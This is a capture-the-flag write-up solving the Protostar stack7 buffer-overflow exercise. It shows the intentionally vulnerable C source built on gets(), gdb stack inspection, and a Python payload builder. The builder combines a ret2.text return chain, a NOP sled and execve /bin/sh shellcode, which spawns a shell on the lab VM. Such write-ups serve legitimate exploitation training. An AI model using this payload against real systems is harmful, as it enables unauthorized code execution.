Problem :lock:

Stack7 introduces return to .text to gain code execution.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Hint :bulb:

The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.

Solution :key:

Remember the first technique in stack6 ? The one where you “return twice” ? Turns out that is actually ret2.text which is what is needed to solve this problem, as exactly mentioned in the problem description.

First, let’s feed it our usual alphabet to see how big the buffer is, and where we can overwrite the pushed eip.

(gdb) r < /home/user/alphabet.txt 
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

Looks like the eip is supposed to be at the UUUU, well then let’s keep that in mind and now we set a breakpoint at the ret.

(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x08048544 <getpath+128>:       ret    
End of assembler dump.
(gdb) b *0x08048544
Breakpoint 1 at 0x8048544: file stack7/stack7.c, line 24.

Let’s run the program again and look at the stack.

0xbffff79c:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffff7ac:     0x59595959      0x5a5a5a5a      0xbffff800      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x080482bc      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0x94e4dd29      0xbeb3cb39

Now we see our new return pointer will sit where the 0x55555555 is at (which is at 0xbffff79c), and we need the address next to it (which is 0xbffff7a0) to point to our nops. Let’s build the payload then!

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7a0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr_to_ret+addr_to_nops+nopsled+shellcode

Print it into a file.

user@protostar:~$ python payloadbuilder.py > payload.txt

Try it out in gdb.

(gdb) r < /home/user/payload.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack7 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���


Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24      in stack7/stack7.c
(gdb) c
Continuing.

Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24      in stack7/stack7.c
(gdb) c
Continuing.
Executing new program: /bin/dash

Program exited normally.

Looks very promising, we hit the breakpoint twice like we should, and the shell was spawned. Let’s see how we do outside gdb.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

ls
Segmentation fault
user@protostar:/opt/protostar/bin$ 

Well, that’s wierd, let’s try and increase our nopsled size.

To keep it short, it didn’t work, so instead of trying to adjust the nopsled size, I tried to find a way to spawn the shellcode inside gdb, but instead I found this. Looks like gdb messes with our env vars, so to counter that we run these 2 commands in gdb.

(gdb) unset env LINES
(gdb) unset env COLUMNS

Now if we look at the address of things in the stack, they changed. Let’s set the breakpoint at the ret again and look at the stack now.

(gdb) r < /home/user/alphabet.txt 
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24      stack7/stack7.c: No such file or directory.
        in stack7/stack7.c
(gdb) x/24wx $esp
0xbffff7bc:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffff7cc:     0x59595959      0x5a5a5a5a      0xbffff800      0xbffff87c
0xbffff7dc:     0xb7fe1848      0xbffff830      0xffffffff      0xb7ffeff4
0xbffff7ec:     0x080482bc      0x00000001      0xbffff830      0xb7ff0626
0xbffff7fc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff80c:     0x00000000      0xbffff848      0x0097f0d3      0x2ac026c3

So now our eip will be at 0xbffff7bc, which means our second eip which point to our nops will be at 0xbffff7c0. Let’s fix the payload.

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7c0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler+addr_to_ret+addr_to_nops+nopsled+shellcode

Rewrite the output file.

user@protostar:~$ python payloadbuilder.py > payload.txt

Run it outside gdb.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

ls
final0  final2   format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1  format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
pwd
/opt/protostar/bin

Nice, btw if you still run into SIGSEGV, the addresses in .text might change too so watch out for that.

:checkered_flag: